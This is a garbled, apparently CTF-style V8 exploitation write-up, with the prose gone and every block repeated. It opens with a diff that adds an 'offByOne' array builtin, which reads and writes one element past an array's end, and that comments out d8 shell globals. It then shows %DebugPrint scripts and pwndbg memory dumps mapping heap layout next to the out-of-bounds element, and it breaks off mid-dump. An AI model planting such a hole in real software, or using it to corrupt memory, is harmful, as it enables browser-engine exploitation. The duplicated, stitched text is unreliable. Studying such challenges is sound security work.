   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..99dc014c13c 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "offByOne",
+                          Builtin::kArrayOffByOne, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..4ed66c8113f 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -407,6 +407,52 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayOffByOne) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));
+  }
+
+  if (args.length() > 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Too many arguments")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {
+    Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      if (!IsNumber(*value)) {
+        THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+          factory->NewStringFromAsciiChecked("Need a number argument")));
+      }
+      double num = static_cast<double>(Object::NumberValue(*value));
+      elements->set(len, num);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  } else {
+    Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return elements->get(len);
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      elements->set(len, *value);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  }
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..8a0bd959a29 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -394,6 +394,7 @@ namespace internal {
       ArraySingleArgumentConstructor)                                          \
   TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor)                  \
   CPP(ArrayConcat)                                                             \
+  CPP(ArrayOffByOne)                                                           \
   /* ES6 #sec-array.prototype.fill */                                          \
   CPP(ArrayPrototypeFill)                                                      \
   /* ES7 #sec-array.prototype.includes */                                      \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..ce31f92b876 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+  case Builtin::kArrayOffByOne:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..99dc014c13c 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "offByOne",
+                          Builtin::kArrayOffByOne, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
function p(arg){
    %DebugPrint(arg);
}
 
var a1 = [1.1];
var a2 = [2.2];
p(a1);
p(a2);
function p(arg){
    %DebugPrint(arg);
}
 
var a1 = [1.1];
var a2 = [2.2];
p(a1);
p(a2);
DebugPrint: 0x2b69000f4ac1: [JSArray]
 - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2b6900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x2b69001cb821: [Map] in OldSpace
 - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6900000a89 <Cell value= 1>
 - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x2b69001cb849 <TransitionArray[4]>
   Transition array #1:
     0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)>
 - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x2b69000f4af9: [JSArray]
 - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2b6900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> {
           0: 2.2
 }
0x2b69001cb821: [Map] in OldSpace
 - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6900000a89 <Cell value= 1>
 - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x2b69001cb849 <TransitionArray[4]>
   Transition array #1:
     0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)>
 - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
DebugPrint: 0x2b69000f4ac1: [JSArray]
 - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2b6900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2b69000f4ad9 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x2b69001cb821: [Map] in OldSpace
 - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6900000a89 <Cell value= 1>
 - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x2b69001cb849 <TransitionArray[4]>
   Transition array #1:
     0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)>
 - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x2b69000f4af9: [JSArray]
 - map: 0x2b69001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x2b6900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2b6900000d99: [String] in ReadOnlySpace: #length: 0x2b6900025fed <AccessorInfo name= 0x2b6900000d99 <String[6]: #length>, data= 0x2b6900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x2b69000f4b11 <FixedDoubleArray[1]> {
           0: 2.2
 }
0x2b69001cb821: [Map] in OldSpace
 - map: 0x2b69001c01b5 <MetaMap (0x2b69001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x2b69001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x2b6900000a89 <Cell value= 1>
 - instance descriptors #1: 0x2b69001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x2b69001cb849 <TransitionArray[4]>
   Transition array #1:
     0x2b6900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b69001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x2b69001cb179 <JSArray[0]>
 - constructor: 0x2b69001cae65 <JSFunction Array (sfi = 0x2b690002b3c5)>
 - dependent code: 0x2b6900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
pwndbg> job 0x2b69000f4ad9
0x2b69000f4ad9: [FixedDoubleArray]
 - map: 0x2b69000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 1
           0: 1.1
pwndbg> x/16wx 0x2b69000f4ad9-1
0x2b69000f4ad8:  0x000008a9  0x00000002  0x9999999a  0x3ff19999
0x2b69000f4ae8:  0x000008a9  0x00000002  0x9999999a  0x40019999
0x2b69000f4af8:  0x001cb821  0x00000725  0x000f4b11  0x00000002
0x2b69000f4b08:  0x000010a5  0x001d4a2d  0x000008a9  0x00000002
pwndbg>
pwndbg> job 0x2b69000f4ad9
0x2b69000f4ad9: [FixedDoubleArray]
 - map: 0x2b69000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 1
           0: 1.1
pwndbg> x/16wx 0x2b69000f4ad9-1
0x2b69000f4ad8:  0x000008a9  0x00000002  0x9999999a  0x3ff19999
0x2b69000f4ae8:  0x000008a9  0x00000002  0x9999999a  0x40019999
0x2b69000f4af8:  0x001cb821  0x00000725  0x000f4b11  0x00000002
0x2b69000f4b08:  0x000010a5  0x001d4a2d  0x000008a9  0x00000002
pwndbg>
function p(arg){
    %DebugPrint(arg);
}
 
var a1 = [1.1];
var obj1 = {};
p(a1);
p(obj1);
function p(arg){
    %DebugPrint(arg);
}
 
var a1 = [1.1];
var obj1 = {};
p(a1);
p(obj1);
DebugPrint: 0x3027000f4ad9: [JSArray]
 - map: 0x3027001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3027001cb179 <JSArray[0]>
 - elements: 0x3027000f4af1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x302700000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x302700000d99: [String] in ReadOnlySpace: #length: 0x302700025fed <AccessorInfo name= 0x302700000d99 <String[6]: #length>, data= 0x302700000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x3027000f4af1 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x3027001cb821: [Map] in OldSpace
 - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x3027001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x302700000a89 <Cell value= 1>
 - instance descriptors #1: 0x3027001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x3027001cb849 <TransitionArray[4]>
   Transition array #1:
     0x302700000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3027001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x3027001cb179 <JSArray[0]>
 - constructor: 0x3027001cae65 <JSFunction Array (sfi = 0x30270002b3c5)>
 - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x3027000f4b01: [JS_OBJECT_TYPE]
 - map: 0x3027001c0f21 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3027001c10ed <Object map = 0x3027001c0701>
 - elements: 0x302700000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x302700000725 <FixedArray[0]>
 - All own properties (excluding elements): {}
0x3027001c0f21: [Map] in OldSpace
 - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x302700000069 <undefined>
 - prototype_validity cell: 0x302700000a89 <Cell value= 1>
 - instance descriptors (own) #0: 0x302700000759 <DescriptorArray[0]>
 - prototype: 0x3027001c10ed <Object map = 0x3027001c0701>
 - constructor: 0x3027001c0c15 <JSFunction Object (sfi = 0x30270002aa51)>
 - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
DebugPrint: 0x3027000f4ad9: [JSArray]
 - map: 0x3027001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3027001cb179 <JSArray[0]>
 - elements: 0x3027000f4af1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x302700000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x302700000d99: [String] in ReadOnlySpace: #length: 0x302700025fed <AccessorInfo name= 0x302700000d99 <String[6]: #length>, data= 0x302700000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x3027000f4af1 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x3027001cb821: [Map] in OldSpace
 - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x3027001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x302700000a89 <Cell value= 1>
 - instance descriptors #1: 0x3027001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x3027001cb849 <TransitionArray[4]>
   Transition array #1:
     0x302700000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3027001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x3027001cb179 <JSArray[0]>
 - constructor: 0x3027001cae65 <JSFunction Array (sfi = 0x30270002b3c5)>
 - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x3027000f4b01: [JS_OBJECT_TYPE]
 - map: 0x3027001c0f21 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3027001c10ed <Object map = 0x3027001c0701>
 - elements: 0x302700000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x302700000725 <FixedArray[0]>
 - All own properties (excluding elements): {}
0x3027001c0f21: [Map] in OldSpace
 - map: 0x3027001c01b5 <MetaMap (0x3027001c0205 <NativeContext[295]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - back pointer: 0x302700000069 <undefined>
 - prototype_validity cell: 0x302700000a89 <Cell value= 1>
 - instance descriptors (own) #0: 0x302700000759 <DescriptorArray[0]>
 - prototype: 0x3027001c10ed <Object map = 0x3027001c0701>
 - constructor: 0x3027001c0c15 <JSFunction Object (sfi = 0x30270002aa51)>
 - dependent code: 0x302700000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
pwndbg> job 0x3027000f4af1
0x3027000f4af1: [FixedDoubleArray]
 - map: 0x3027000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 1
           0: 1.1
pwndbg> x/32wx 0x3027000f4af1-1
0x3027000f4af0:  0x000008a9  0x00000002  0x9999999a  0x3ff19999
0x3027000f4b00:  0x001c0f21  0x00000725  0x00000725  0x00000069
0x3027000f4b10:  0x00000069  0x00000069  0x00000069  0x00000635
0x3027000f4b20:  0x00000008  0x00000004  0x00280023  0x00000100
0x3027000f4b30:  0x00000069  0x00000069  0x00000635  0x00000008
0x3027000f4b40:  0x00000004  0x001cb823  0x00000004  0x00000069
0x3027000f4b50:  0x00000069  0x00000000  0x00000000  0x00000000
0x3027000f4b60:  0x00000000  0x00000000  0x00000000  0x00000000
pwndbg>
pwndbg> job 0x3027000f4af1
0x3027000f4af1: [FixedDoubleArray]
 - map: 0x3027000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
 - length: 1
           0: 1.1
pwndbg> x/32wx 0x3027000f4af1-1
0x3027000f4af0:  0x000008a9  0x00000002  0x9999999a  0x3ff19999
0x3027000f4b00:  0x001c0f21  0x00000725  0x00000725  0x00000069
0x3027000f4b10:  0x00000069  0x00000069  0x00000069  0x00000635
0x3027000f4b20:  0x00000008  0x00000004  0x00280023  0x00000100
0x3027000f4b30:  0x00000069  0x00000069  0x00000635  0x00000008
0x3027000f4b40:  0x00000004  0x001cb823  0x00000004  0x00000069
0x3027000f4b50:  0x00000069  0x00000000  0x00000000  0x00000000
0x3027000f4b60:  0x00000000  0x00000000  0x00000000  0x00000000
pwndbg>
let arr = [1.1];
let obj = {in_object1 : 1}; //in-object properties
obj.out_object1 = 2;    //normal properties
obj.out_object2 = 3;
 
p(arr);
p(obj);
let arr = [1.1];
let obj = {in_object1 : 1}; //in-object properties
obj.out_object1 = 2;    //normal properties
obj.out_object2 = 3;
 
p(arr);
p(obj);
DebugPrint: 0x1f99000f30e1: [JSArray]
 - map: 0x1f99001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1f99001cb179 <JSArray[0]>
 - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x1f9900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1f9900000d99: [String] in ReadOnlySpace: #length: 0x1f9900025fed <AccessorInfo name= 0x1f9900000d99 <String[6]: #length>, data= 0x1f9900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x1f99001cb821: [Map] in OldSpace
 - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x1f99001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1f9900000a89 <Cell value= 1>
 - instance descriptors #1: 0x1f99001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x1f99001cb849 <TransitionArray[4]>
   Transition array #1:
     0x1f9900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f99001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x1f99001cb179 <JSArray[0]>
 - constructor: 0x1f99001cae65 <JSFunction Array (sfi = 0x1f990002b3c5)>
 - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x1f99000f3109: [JS_OBJECT_TYPE]
 - map: 0x1f99001d417d <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701>
 - elements: 0x1f9900000725 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1f99000f315d <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x1f99001d351d: [String] in OldSpace: #in_object1: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object
    0x1f99001d3535: [String] in OldSpace: #out_object1: 2 (const data field 1, attrs: [WEC]) @ Any, location: properties[0]
    0x1f99001d354d: [String] in OldSpace: #out_object2: 3 (const data field 2, attrs: [WEC]) @ Any, location: properties[1]
 }
0x1f99001d417d: [Map] in OldSpace
 - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 1
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x1f99001d414d <Map[16](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x1f99001d4175 <Cell value= 0>
 - instance descriptors (own) #3: 0x1f99000f3171 <DescriptorArray[3]>
 - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701>
 - constructor: 0x1f99001c0c15 <JSFunction Object (sfi = 0x1f990002aa51)>
 - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
DebugPrint: 0x1f99000f30e1: [JSArray]
 - map: 0x1f99001cb821 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1f99001cb179 <JSArray[0]>
 - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x1f9900000725 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1f9900000d99: [String] in ReadOnlySpace: #length: 0x1f9900025fed <AccessorInfo name= 0x1f9900000d99 <String[6]: #length>, data= 0x1f9900000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
 }
 - elements: 0x1f99000f30f9 <FixedDoubleArray[1]> {
           0: 1.1
 }
0x1f99001cb821: [Map] in OldSpace
 - map: 0x1f99001c01b5 <MetaMap (0x1f99001c0205 <NativeContext[295]>)>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x1f99001cb7e1 <Map[16](HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1f9900000a89 <Cell value= 1>
 - instance descriptors #1: 0x1f99001cb7ad <DescriptorArray[1]>
 - transitions #1: 0x1f99001cb849 <TransitionArray[4]>
   Transition array #1:
     0x1f9900000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f99001cb861 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
 - prototype: 0x1f99001cb179 <JSArray[0]>
 - constructor: 0x1f99001cae65 <JSFunction Array (sfi = 0x1f990002b3c5)>
 - dependent code: 0x1f9900000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
 
DebugPrint: 0x1f99000f3109: [JS_OBJECT_TYPE]
 - map: 0x1f99001d417d <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1f99001c10ed <Object map = 0x1f99001c0701>
 - elements: 0x1f9900000725 <FixedArray[0]> [HOLEY_ELEMENTS]
